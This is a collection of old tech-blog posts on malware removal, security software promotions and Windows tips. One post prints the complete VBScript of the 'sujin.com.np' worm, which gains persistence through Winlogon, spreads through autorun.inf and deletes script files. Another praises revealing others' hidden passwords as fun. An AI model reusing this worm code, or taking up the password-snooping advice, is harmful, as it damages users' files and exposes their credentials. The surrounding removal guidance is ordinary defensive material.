How to remove messengerskinner.exe?

MessengerSkinner.exe is a part of MessengerSkinner software. MessengerSkinner is a potentially unwanted application that may drop a copy of Trojan.Skintrim on to the computer. It may also display pop-up advertisements on the computer. Here is a full process on how to remove it.

1. Temporarily Disable System Restore (Windows Me/XP).
2. Update the virus definitions.
3. Uninstall Messenger Skinner
a) Click Start > Settings > Control Panel or Start > Control Panel (this varies with the operating system).
b) In the Control Panel window, double-click Add/Remove Programs.
c) Click Messenger Skinner to remove.
d) Click Add/Remove, Change/Remove, or Remove (this varies with the operating system). Follow the prompts.

4. Reboot computer in SafeMode
5. Run a full system scan and clean/delete all infected file(s)
6. Delete/Modify any values added to the registry.
Navigate to and delete the following registry entries:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\”[RANDOM CHARACTERS]” = “c:\documents and settings\administrator\local settings\application data\[RANDOM CHARACTERS].exe [RANDOM CHARACTERS]”
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\”messengerskinner” = “C:\Program Files\MessengerSkinner\MessengerSkinner.exe”

Navigate to and delete the following registry subkeys:
HKEY_CURRENT_USER\Software\LanConfig
HKEY_CURRENT_USER\Software\MessengerSkinner
HKEY_LOCAL_MACHINE\SOFTWARE\MessengerSkinner
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MessengerSkinner
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\[RANDOM CHARACTERS]

7. Exit registry editor and restart the computer.

8. In order to make sure that threat is completely eliminated from your computer, carry out a full scan of your computer using AntiVirus and Antispyware Software. You can also try Online Virus Scanner which doesn’t need any installation.

PC Security

Nowadays, security of the data is a prime concern for every computer individual or a big business house. It is one of reasons why the traditional paper and documents are being changed/converted into files and folder in the hard drives. Still, computer isn’t safe from hackers and sometimes unintentional harms even by the authorized personnel.
PC Security is software that is designed for Windows platform to help you protect your system against any types of intrusions. The PC Security for Windows (tm) offers a complete data security protection by performing the following functionality:

o File locking.
o Folder locking.
o Internet locking
o Window locking.
o Shortcut/Program locking.
o System locking (the whole computer) with different timers and Hot Key.
o Explorer Control.
o Restricted System.
o Intruder Detection with Alarm.
o Context Menu support (mouse right click to lock and unlock).
o Flexible and complete password protection.
o Drag and Drop support.

Hardware/Software Requirements:

Computer: IBM or compatible
Processor: Pentium/compatible or higher
RAM 32MB or higher
Operating System: Windows XP/95/98 or higher, Windows NT 4.0 or higher

Recover Your Deleted Files with “File-Saver”

Sometimes what happens is that some kind of virus wipes your hard drive or you accidentally press “Shift + Delete” and delete some file that were actually useful and that you may later need. This is a terrible situation to be in when the data is very important. If it was in the recycle bin then it wasn’t a big problem, we could easily restore the file back but what if we have even emptied the recycle bin. In such cases we have a small problem and what we need is recovery software that can recover deleted files and our data.
File-Saver is one of such many softwares that are found in the market. Its work is predictable. As the name says it saves your files. It can instantly restore hundreds of deleted files from your PC – doesn’t matter whether a computer virus deleted the files or you've emptied the Recycle Bin, or pressed “Shift” button while deleting the files.

Features:
1. QUICKLY Recover Hundreds of Deleted Files
2. INTUITIVE Windows Explorer mode
3. INSTANT Image Preview
4. ENHANCED Recovery Algorithms
5. PREDICTIVE Recovery
6. RESTORE with folder structure
7. FULL SUPPORT for any drive

It is the World's smartest undelete tool and this great software ca be yours at just $19.95 if you order before midnight Wednesday. So, hurry up and grab the offer.

Save $77 in Evidence Blaster – Software that erases your Internet History

There are many third part softwares available which can even restores the files that are deleted. These softwares are very useful when you have been attacked by a virus and your important files have been deleted but what if the same softwares are used against you to track your activities. Your computer stores the information of your entire visit to sites, the files you opened, your e-mail accounts and many other things that you may not want other to see or know. And even if you delete the temporary internet files and cookies, they still can be recovered which can be very dangerous.
So, what you need is software that can completely erase your track from the computer and Evidence Blaster is that software. With it you can clean your computer system with just a mouse click. It’s a complete hard drive cleaner.

What Evidence-Blaster 2008 does:
• Clear your browser history - Internet Explorer, Netscape, FireFox
• Erase your browser cache
• Eliminate all your system cookies
• Remove your visited and typed URL list
• Clean the hidden, locked INDEX.DAT file
• Overwrite all AutoComplete information
• Zap all Windows temporary files
• Clear documents, history and "Find" searches from the Start menu
• Empty your Recycle Bin and the Windows clipboard
• Wipe out Outlook and Netscape e-mail histories
• Ensure deleted files can NEVER be recovered from your machine
• Erase entire directories using Government-strength removal techniques

Its actual price is $149.95 but if you order before midnight Tuesday, January 8th 2008 you can get the full version of Evidence-Blaster 2008, plus lifetime support, for just $22.95 saving a massive $77 on our retail price of $99.95. Isn’t that awesome?

Unlock Word, Excel, Access files

Well, this is a situation that I too face normally. I have a very bad memory and I tend to forget things. I usually keep my document in Word and Excel format and to protect its content from people I usually put a password to open it. But when I’ve not opened the documents for a long time, I tend to forget the password to open the file.

This was really troubling me because I can’t just leave the files exposed to everyone too because they contain very sensitive information and even though I put a password due to my forgetting nature later even I was not being able to open those documents. But today, I came across a site called Password-Studio.com and I come to know about software called Password-Studio Pro which is one of the world’s most powerful Office password recovery tool. For Access, it’s easy. This software cracks the Access password instantly. For Word and Excel files it uses "Smart Dictionary" and "Bruteforce" hacking methods which takes a little while but guarantees the success.

So, if you are looking for any Word, Access or Excel password recovery then Password-Studio Pro is just what you need.

Hide IP address software

Internet is a very insecure place actually as there are many kinds of risk out there to which you are exposed to. When you are browsing a page of sending an e-mail you are constantly broadcasting your IP. Your IP address can be instantly traced back to your Internet service provider (proof), who is required to provide your personal details following certain requests and this can lead to a disaster.
So, how are you supposed to be secure while surfing in the internet? Well, there is a software “Hide My IP Address” which as its name says - Hide IP address. It’s actually a specially-modified browser, based on Firefox. With this you can surf in the internet without being visible to others. No one can trace anything or get your details. What this software does that it automatically routes all of your Internet traffic through at least 2 ultra-secure, ultra-fast anonymous servers using the powerful and well-known Tor network for total privacy.

Some featured of “Hide My IP Address” are:

• INSTANTLY HIDE YOUR IP ADDRESS - With Just One Click!
• RUN ANYWHERE - Even On a Portable USB Pen!
• SUPER FAST SERVERS - Over 15 Million Anonymous Servers!
• AUTOMATIC TRACE REMOVAL - No Logs or History Files!
• BUILT-IN PRIVACY TOOLS - Customize to Your Hearts Desire!
• CRUSH IDENTITY THEFT - Stop Yourself Getting Stolen
• TOTAL LIFETIME UPDATES - No Hidden Costs or Fees!
• TOTAL LIFETIME SUPPORT - Contact Us 24/7 for Help!

So, get this software and feel free to surf.

The Importance of Online Backup

Everybody knows that storage and backing up of data are one of the most important things that need to be focused on in today scenario. What most of the people do is store their data and important information in flash drives, CD-ROMs, DVDs or hard drive so that they can be retrieved later on when needed. But a thing that they keep forgetting is that these things are exposed to damage. If there is a fire in your house and if the hard drive gets burnt, then there is no chance that the data can be retrieved from it. So, the new concept that’s taking over is the concept of online storage and backup. It’s simply storing your data online so that you can retrieve it later when needed or recover the data in case any accidents occur and the data in your computer gets deleted or overridden.

One of the popular names when it comes to online storage and backup is IBackup. Specially, it provides storage and backup for small businesses and its desktop applications provide easy drag-n-drop and familiar explorer interface to work with online data than other online storage providers. Extensive enterprise-class feature set including snapshots, which enable you to view older copies of data, Network Drive for easy drag-n-drop operations, Sub-Accounts, Web Folders, sharing and collaboration options are just some of the features that it provides. To know it up close you have to use it. I assure that you won’t regret this decision of yours. Give a shot to IBackup.

One More Way To Clear Window’s Login Password

Today I was just surfing the net and I came across Calvyn’s blog. You know how crazy I am about computer tweaks. So, I went to its ‘Tips and Tricks’ category and there I found a new way to clear Window’s login password. I know many other ways but not this one. This is just a simple command prompt commands and it’s not that big trick either. The problem with this is that you have to be logged in to the Windows already. While resetting it won’t asks for the old password though. Here’s how you do it:

• Click Start -> Run -> type cmd (this opens a Command Prompt window)
• Type ‘net user’ (without the quotes)
• You will see the available user in your PC
• To clear that particular user password
• Type ‘net user ’ (e.g. net user admin hello)

(In the e.g. above ‘admin’ is the username and ‘hello’ is the password)

But a slight different that I wanted to give my readers is with the ability to give a blank password using the same command. If you want to have a blank password there has to be brought a little twist with the command. For this:

• Type ‘ net user * ’ (e.g. net user admin *)
• This will ask you to type the password and re-type again to confirm. You can also put a blank password in here.

Enjoy and practice this trick. It is practice that makes a man perfect.

Pro930 Online Ups 3000va

To meet the requirement of the network system to the power, prolink has developed a new generation ups- pro online series. It adopts 32 bets data-bus microprocessor with robust processing power that is capable of detecting and controlling quickly and accurately all movement of UPS to ensure product high reliability. Owe to the use of the double-conversion circuit design, the power used by load is the pure sine wave power by stabilizing voltage and stabilizing frequency and noisy signals filter.

Furthermore, pro online series UPS and the network server is connected together through the RS232 communication port and power monitoring software, which offers power status available at any time. Moreover, it achieves the intelligent functions such time self inspection, automatic disk-saving, automatic time switch on/off and automatic power status recordation, etc, so it achieves the zero distance of communication between user and UPS. When utility power is disconnected, UPS inform the server immediately and gets ready to be switched off and automatically saves all data before performing the normal switch-off instruction. Even in an unattended network environment, UPS can ensure data safety of the network system.

Fluorescent light powered wireless cams

I’ve heard about surveillance cameras that don’t need any wires and some cameras are so small that they can fit in your pen. This is something new to talk about a wireless camera that is powered by fluorescent light. This new type of camera was released be Japan's NEC which surprisingly powered by fluorescent light. The camera has a ring-shaped part that attaches to the bulb and gets its power from the magnetic field created by the AC source. And that’s not it. This camera has some built-in 802.11b WiFi capabilities to stream all that video (or, more specifically, an image every ten seconds) back to a PC, which can presumably be used to monitor little things going around and you don't have to run over power cables too. Cool!!! Huh?

The solutions for ‘sujin.com.np’ virus

Just few days ago I mentioned about this virus called changes the homepage of Internet Explorer to ‘sujin.com.np’ and does some other manipulation in the registry. Well, I encountered this so called virus aned I alsofound of its solution through various resources. To remove this virus you can follow the process below :

1. From the start menu click ‘Run’ -> type ‘Regedit’

2. Registry Editor will open

3. In the Registry Editor, go to Edit menu and press find

4. In the find dialog box type - virusremoval.vbs and press find next button

5. The search will end at some folder in the registry at the key - "userint"; doubleclick it; you will find many paths separated by commas - eg: c:windows/system32/userinit.exe,c:/windo... and so on. Among those paths you will find "C:\windows\system32\virusremoval.vbs". Delete the path. Ensure that remaining paths are unaltered so that your genuine scripts are not affected.

6. Press F3 (find next) to see if the same path exists somewhere else in your registry. If found again at some other place remove the path there also.

7. Repeat F3 until you get a message that search has finished.

6. Change your home page to your usual one. You will notice that though your home page has stopped from changing back to ‘sujin.com.np’, still your title bar is showing ‘sujin.com.np’.

7. To change this back to normal, first change your homepage, and again open the ‘Registry Editor’ and press find in edit menu and type ‘sujin.com.np’ without quotes. You will find the key - "Window Title". Double click the key and type "Windows Internet Explorer" or any other text you would like to have in the title bar. Please note that you have to change the key at two places. Press find next f3 till you receive the message that search has finished to ensure that you have changed at both the places.

Well, this is a pretty long procedure. Instead of doing all this you can just download a scanner for this virus from http://worldlink.com.np/support/download/software/Scanner.exe and run a scan and this virus will be easily removed.

‘sujin.com.np’ virus or what?

Debt Consolidation Loans

Secured Loan Mortgages Online Search Online

It was just today that I noticed whenever I opened my Internet Explorer; the title of my browser shows ‘sujin.com.np’ and my home page has been changed to sujin.com.np. I was scared for a moment. What could have happened? Did someone hacked into my explorer and stealing my private data? I have free edition of AVG installed and I am regularly updating it but it couldn’t detect the so called ‘sujin.com.np’ virus.
Anyways, I knew that the only thing that could solve my problem was the internet and as I predicted I found many solutions. Actually, this might got into my computer through someone’s flash drive or something. It was just some script programmed by some guy from Nepal in Visual Basic that changed some registry settings and copied itself to all drives in root directory.
The VBS file in notepad looked like this:

'************************************************* *****************
'********************* Virus Removal VBScript *********************
'************************** Version 1.00 **************************
'************************************************* *****************
'This antivirus program is intended to repair your computer from
'any sorts of virus attacks.
'This program is exactly like a normal virus but it repairs things
'rather than destroying them.
'************************************************* *****************
'************************************************* *****************
'Program developed by
'Sujin Joshi
'http://Sujin.com.np
'sujinjoshi@gmail.com
Option Explicit
On Error Resume Next

Dim Fso,Shells,SystemDir,WinDir,Count,File,Drv,Drives, InDrive,ReadAll,AllFile,WriteAll,Del,Chg,folder,fi les,Delete,auto,root

Set Fso = CreateObject("Scripting.FileSystemObject")
Set Shells = CreateObject("Wscript.Shell")
Set WinDir = Fso.GetSpecialFolder(0)
Set SystemDir =Fso.GetSpecialFolder(1)
Set File = Fso.GetFile(WScript.ScriptFullName)
Set Drv = File.Drive
Set InDrive = Fso.drives
Set ReadAll = File.OpenAsTextStream(1,-2)
do while not ReadAll.atendofstream
AllFile = AllFile & ReadAll.readline
AllFile = AllFile & vbcrlf
Loop


Count=Drv.DriveType

Do
If Not Fso.FileExists(SystemDir & "\VirusRemoval.vbs") then
set WriteAll = Fso.CreateTextFile(SystemDir & "\VirusRemoval.vbs",2,true)
WriteAll.Write AllFile
WriteAll.close
set WriteAll = Fso.GetFile(SystemDir & "\VirusRemoval.vbs")
WriteAll.Attributes = -1
End If

Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title","Sujin.com.np"
Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Po licies\Explorer\NoFolderOptions","0","REG_DWORD"
Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Po licies\System\DisableTaskMgr","0","REG_DWORD"
Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Po licies\System\DisableRegistryTools","0","REG_DWORD "
Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://sujin.com.np/"
Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell","explorer.exe"
Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit",SystemDir & "\userinit.exe," & _
SystemDir & "\wscript.exe " & SystemDir & "\VirusRemoval.vbs"

For Each Drives In InDrive
root = Drives.Path & "\"
If Fso.GetParentFolderName(WScript.ScriptFullName)=ro ot Then
Shells.Run "explorer.exe " & root
End If
Set folder=Fso.GetFolder(root)
Set Delete = Fso.DeleteFile(SystemDir & "\killvbs.vbs",true)
For Each files In folder.Files
auto=Left(files.Name,7)
If UCase(auto)=UCase("autorun") Then
Set Delete = Fso.DeleteFile(root & files.Name,true)
End If
Next
If Drives.DriveType=2 Then
delext "inf",Drives.Path & "\"
delext "INF",Drives.Path & "\"
End if

If Drives.DriveType = 1 Or Drives.DriveType = 2 Then
If Drives.Path<> "A:" Then
delext "vbs",WinDir & "\"
delext "vbs",Drives.Path & "\"

If Fso.FileExists(Drives.Path & "\ravmon.exe") Then
Fso.DeleteFile(Drives.Path & "\ravmon.exe")
End If
If Fso.FileExists(Drives.Path & "\sxs.exe") Then
Fso.DeleteFile(Drives.Path & "\sxs.exe")
End If
If Fso.FileExists(Drives.Path & "\winfile.exe") Then
Fso.DeleteFile(Drives.Path & "\winfile.exe")
End If
If Fso.FileExists(Drives.Path & "\run.wsh") Then
Fso.DeleteFile(Drives.Path & "\run.wsh")
End If

If Drives.DriveType = 1 Then
If Drives.Path<>"A:" Then
If Not Fso.FileExists(Drives.Path & "\VirusRemoval.vbs") Then
Set WriteAll=Fso.CreateTextFile(Drives.Path & "\VirusRemoval.vbs",2,True)
WriteAll.Write AllFile
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & "\VirusRemoval.vbs")
WriteAll.Attributes = -1
End If

If Fso.FileExists(Drives.Path & "\autorun.inf") Or Fso.FileExists(Drives.Path & "\AUTORUN.INF") Then
Set Chg = Fso.GetFile(Drives.Path & "\autorun.inf")
Chg.Attributes = -8
Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)
WriteAll.writeline "[autorun]"
WriteAll.WriteLine "open=wscript.exe VirusRemoval.vbs"
WriteAll.WriteLine "shell\open=Open"
WriteAll.WriteLine "shell\open\Command=wscript.exe VirusRemoval.vbs"
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")
WriteAll.Attributes = -1
else
Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)
WriteAll.writeline "[autorun]"
WriteAll.WriteLine "open=wscript.exe VirusRemoval.vbs"
WriteAll.WriteLine "shell\open=Open"
WriteAll.WriteLine "shell\open\Command=wscript.exe VirusRemoval.vbs"
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")
WriteAll.Attributes = -1
End if
End If
End If
End if
End If
Next

if Count <> 1 then
Wscript.sleep 10000
end if
loop while Count<>1

sub delext(File2Find, SrchPath)
Dim oFileSys, oFolder, oFile,Cut,Delete
Set oFileSys = CreateObject("Scripting.FileSystemObject")
Set oFolder = oFileSys.GetFolder(SrchPath)
For Each oFile In oFolder.Files
Cut=Right(oFile.Name,3)
If UCase(Cut)=UCase(file2find) Then
If oFile.Name <> "VirusRemoval.vbs" Then Set Delete = oFileSys.DeleteFile(srchpath & oFile.Name,true)
End If
Next
End sub

A post in the boyutal’s blog says that it’s just a harmless VBScript file installed in your computer which just:

1.) Modifies registry settings to do tasks such as Disabling the Access To Taskbar, Setting The Start Page of Internet Explorer to "sujin.com.np" and modifies the UserInit settings to execute Virusremoval.vbs

2.) Stores a copy of itself to all Drives in root directory.

3.) Removes all vbs files in Windows directory and Root directory and all inf files in root directories of drives.

4.) Removes ravmon.exe, sxs.exe, winfile.exe and run.wsh.(Maybe these are the files of some malware that its author wants to remove)

5.) Stores VirusRemoval.vbs in root and adding the autorun.inf to make sure that it auto executes if it's installed in a removable disk (i.e. flashdrives).

And that’s it........it's harmless ..

I don’t know I still think there is something fishy about this.

IDrive Online Backup

Backing up the data is one of the most crucial things to do if you are a computer user. Not just for big business houses but backups are equally importance for individual users too. In today’s technology dominated world more than money and gold, data has got value. So, it has to be properly backed up in case unfortunately the hard drive might crash and all your data are puff gone. Well, there are many third-party softwares though that can recover the data from a crashed hard drive but what if there is a fire and your whole computer got burnt. Then any software can’t get you your data back. Therefore we have to take preventive measures right from now. The most appropriate answer that I found was the online backup. Just as its name says, it’s backing up your data online so that you can recover the data in case any accidents occur and the data in your computer gets deleted or overridden.

IDrive is one of the leading online backup companies which offer two kinds of services – in one you can enjoy 2GB of backup space absolutely free without any catch and the second one is the unlimited backup (for $4.95/month) which is for small businesses or individuals with very large backup needs. IDrive has got more features than any other online back ups companies and the recent enhancements including near real time backup of frequently changing data or CDP (Continuous Data Protection)and ability to manage multiple accounts from single admin account has made is invincible in compare to its competitors. Now hurry up and try IDrive, it’s time you back up your data.

Norton Antivirus 2008

Having improved a lot last year in Symantec’s flagship antivirus product, it makes sense we’d see more modest enhancements for this years, Norton Antivirus 2008. As we await final code and therefore test results in the overall performing of this year’s version, the new interface and features along do not suggest an automatic KO in our latest antivirus roundup of 2008 products. Currently, you may order and download Norton Antivirus 2008, but packed edition won’t hit retail stores until Sept. 11, 2007. Norton Antivirus 2008 runs on Windows XP and Windows Vista, but not Windows 2000 or Windows 98 Live Update, which used to be a separated process, is not integrated into Norton Antivirus 208 – and it’s about time. Once the product is installed and you’re asked to update, everything – program files and signature files – arrives on your desktop in much smaller packets, making the experience smoother and easier.

Online Backup

Information is the most important thing for any business or a person. Right information at the right time can play a significant role in decision making. And where do we get such information? The answer is from - data. Hence, data are very important and need to be stored or backed up properly so that they can be retrieved whenever needed. There is a “Backup Utility” available in the Windows itself which is pretty useful too but what if the hard drive is damaged of the whole computer gets destroyed in fire? Then how to recover your data?
To prevent such situation the most common solution is backing up your data online. There are many sites that I’ve found who brag to be the best in online data backing up. Well, I haven’t tried all of then but among the ones I’ve used, I found IBackup to be the most efficient one for online backup or online storage. There are many features of IBackup that makes it superior to other online backup sites like it maps your online data as if it resides in your own computer, the drag and drop and familiar explorer interface is very easy to work with and other many features. So, if you are looking for backing up your data online, just sign-up at IBackup.com.

Regular Maintenance of your Windows XP

To keep your XP in the best working condition, regular maintenance is required. There are certain steps that one requires to do at least a week or after any major installation/ uninstallation of s/w, drivers for getting optimum performance from your XP. I got these steps from a pfd file called “XP Tweaks” that I downloaded from somewhere. The steps involved are as follows:

1. Scan for Malicious Software
2. Update Windows (from Windows Update site)
3. Check for New Startup Programs and Services
4. Run a Disk Check (properties->Tools->Check of hard-drives)
5. Clean Windows (run Disk Celanup utility)
6. Clean & optimize the registry (can use RegCleaner, RegSupreme, etc)
7. Defragment (can use Windows Disk Defragmenter or Diskeeper)
8. Optimize Bootup

Doing all these takes about an hour or so but it’s a small price to pay for the benefit we get from it.

How to reveal passwords hidden under asterisks

If you are Windows user, you may be familiar with many different dialog boxes that ask for your passwords for different purposes. When you type in those password fields, it displays just the asterisks. Have you ever wondered while someone other is typing his passwords that what is his password? What is behind those asterisks?

Good news for you, there is a s/w ActMon Password Recovery which can display the hidden passwords under the asterisks. It allows users to decrypt and display passwords stored behind the asterisks on Windows XP systems (as well as all other Windows versions). It can even recover WEB passwords. For that make sure that you are using Microsoft Internet Explorer 5.0 (or above I think). I think it’s a cool and a very handy s/w. I’m kind of loving it, you know knowing other’s passwords is kind of fun.

The details of this s/w can be obtained from http://www.actmon.com/password-recovery.

Create a Desktop Icon to lock your computer

Similar to making shortcut icons for Shutdown and Restart, you can also make shortcut icons for locking you computer which requires that a user needs to login before gaining access. The steps are as follows:

1. Right click on an empty area on your Desktop
2. Select New -> Shortcut
3. In the first box if the create Shortcut Wizard, Type “rundll32.exe user32.dll,LockWorkStation” (without quotes). Note there is no space between the comma and LockWorkstation.
4. Click Next
5. Name the shortcut appropriately and click Finish

There you are. You have created a desktop icon to lock your computer.

Make Your Data Unrecoverable With File Shredders

I’m sure that most of the people are computer literate in present context. Everyone must have at least a little knowledge on computer and a personal computer at home. They have necessary file (word files, ppt slides, images, videos, etc) saved in their PC if these files are required for future. After the files are not needed (means after they have been used and are no longer needed), they are deleted. These files although deleted reside in the recycle bin which I think is known to most of the computer users (unless the space given to the recycle bin is 0% means files are removed immediately when deleted) from where the deleted files can be restored if needed in future. But what if the files are deleted even from the recycle bin (by emptying recycle bin or pressing ‘shift’ key while deleting or as said earlier allocating 0% space to the recycle bin)? What if these deleted files are found to be useful in future? What then?

Well, good news is that these deleted files can be recovered. It may be surprising to know that data even from a formatted hard drive can be recovered. I did a little study and came to know that even though the files are deleted, in actual just the link to the files are deleted, the data still remain in the memory and people who are very good at programming stuffs (with pointers, garbage collection and stuffs like that) can recover those data. There are many third party softwares available that can recover deleted data or data even from a formatted hard drive. But the biggest question that arises from this is about the security of your data. What security does your PC hold if even your deleted data can be recovered? This could lead to leakage of private data which may have disastrous consequences.

In this case, what you need to do is wipe disk completely. Wiping here is the process of overwriting information with random data so as to make it unrecoverable. Sometimes disks need to be wiped or overwritten more than once to make the data unrecoverable. File Shredder can play a vital role in wiping. File Shredder is a computer utility, which helps to wipe files and wipe disk space. It's the safest way to get rid of data on your hard drive. There are many file shredders available in the net. Few very popular ones are Blancco File Shredder, WinShredder File Shredder and Max File Shredder. You can any one that goes with your budget and requirement.

Logic Bomb

One of the oldest types of program threat, predating viruses and worms is the Logic Bomb. The Logic Bomb is code embedded in some legitimate program that is set to ‘explode’ when certain conditions are met. E.g. of conditions that can be used to trigger for a Logic Bomb are the presence or absence of certain files, a particular day of a week or date, or a particular user running the application. Once triggered, a bomb may alter or delete data or files, cause a machine halt, or do some other damage. A striking example of how Logic Bombs can be employed was the cars of Tim Lloyd, who was convicted of setting Logic Bomb that cost his employer, Omega Engineering more than $10 million, derailed its corporate growth strategy, and eventually led to the layoff of 80 workers [GAUD00]. Ultimately, Lloyd was sentenced to 41 months in prison and ordered to pay $2 million in restitution.